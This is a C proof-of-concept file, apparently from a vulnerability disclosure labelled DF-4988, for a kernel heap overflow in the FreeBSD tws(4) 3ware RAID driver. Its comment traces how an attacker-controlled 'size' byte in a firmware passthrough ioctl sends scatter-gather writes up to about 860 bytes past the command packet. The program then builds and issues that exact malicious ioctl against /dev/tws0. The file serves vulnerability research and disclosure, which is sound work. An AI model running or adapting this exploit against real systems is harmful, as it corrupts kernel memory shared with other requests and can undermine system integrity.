DF-4988 / tws_pt_sgl.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 | /* * DF-4988 PoC โ tws(4) passthru SGL destination steered by the * user-controlled generic-command "size" byte. * * tws_user.c:126 memcpy(&req->cmd_pkt->cmd, &ubuf->cmd_pkt.cmd, 896) * -> attacker fully controls tws_cmd_generic.size (0..255) * tws_cam.c:1035 sgl_ptr = (u_int32_t *)gcmd + gcmd->size; * tws_cam.c:1038 tws_fill_sg_list(..., sgl_ptr, sgls<=46) * -> writes up to 46 * 16 = 736 bytes of 64-bit SGL * descriptors at cmd_pkt + 128 + 4*size * * The request's own command packet is 1024 bytes; with size=255 the write * spans [cmd_pkt+1148, cmd_pkt+1884] โ up to ~860 bytes PAST the end of the * packet, into the neighboring request packets of the shared dma_mem pool * (cross-request corruption; content = physical addresses/lengths of the * passthru data buffer). * * This program constructs and issues exactly that command. Requires * /dev/tws0 (root-only 0600); without the controller it exits ENOENT. */ #include <sys/ioctl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <fcntl.h> #include <unistd.h> /* same mirrors as DF-4987 (tws_hdm.h/tws_user.h packed layouts) */ struct tws_driver_packet { unsigned int control_code, status, unique_id, sequence_id, os_status, buffer_length; } __attribute__((packed)); struct tws_command_header { unsigned char sense_data[18]; struct { unsigned short srcnum; unsigned char reserved; unsigned char status; unsigned short error; unsigned char res__srcid; unsigned char res__severity; } __attribute__((packed)) status_block; unsigned char err_specific_desc[98]; struct { unsigned char size_header; unsigned short request_id; unsigned char size_sense; } __attribute__((packed)) header_desc; } __attribute__((packed)); struct tws_cmd_generic { unsigned char sgl_off__opcode; unsigned char size; /* <-- attacker steers the SGL dest with this */ unsigned char request_id; unsigned char host_id__unit; unsigned char status; unsigned char flags; unsigned short count; } __attribute__((packed)); struct tws_command_packet { struct tws_command_header hdr; union { unsigned char raw[896]; struct tws_cmd_generic generic; } cmd; } __attribute__((packed)); struct tws_ioctl_no_data_buf { struct tws_driver_packet driver_pkt; void *pdata; char padding[488 - sizeof(void *)]; struct tws_command_packet cmd_pkt; } __attribute__((packed)); #define TWS_IOCTL_FIRMWARE_PASS_THROUGH \ _IOWR('T', 202, struct tws_ioctl_no_data_buf) int main(int argc, char **argv) { static struct tws_ioctl_no_data_buf buf; static char data[128 * 1024]; unsigned char size = (argc > 1) ? (unsigned char)strtoul(argv[1], NULL, 0) : 255; int fd, error; fd = open("/dev/tws0", O_RDWR); if (fd < 0) { printf("open(/dev/tws0): %s โ no 3ware controller (hardware-gated)\n", strerror(errno)); return (2); } /* * non-SCSI opcode (0x01 INIT_CONNECTION != 0x10 EXECUTE_SCSI) so the * callback takes the generic branch at tws_cam.c:1030-1038 and uses * gcmd->size as the SGL destination offset. */ buf.cmd_pkt.cmd.generic.sgl_off__opcode = 0x01; buf.cmd_pkt.cmd.generic.size = size; /* SGL written at gcmd + 4*255 */ buf.driver_pkt.buffer_length = sizeof(data); /* >0 so req->data != NULL */ buf.pdata = data; printf("DF4988: passthru, opcode=0x01 (generic path), gcmd.size=%u\n" " -> SGL write window = cmd_pkt+%u .. cmd_pkt+%u " "(packet size 1024)\n", size, 128 + 4u * size, 128 + 4u * size + 736); error = ioctl(fd, TWS_IOCTL_FIRMWARE_PASS_THROUGH, &buf); printf("DF4988: ioctl returned %d (errno=%s) os_status=%u\n", error, strerror(errno), buf.driver_pkt.os_status); close(fd); return (0); } |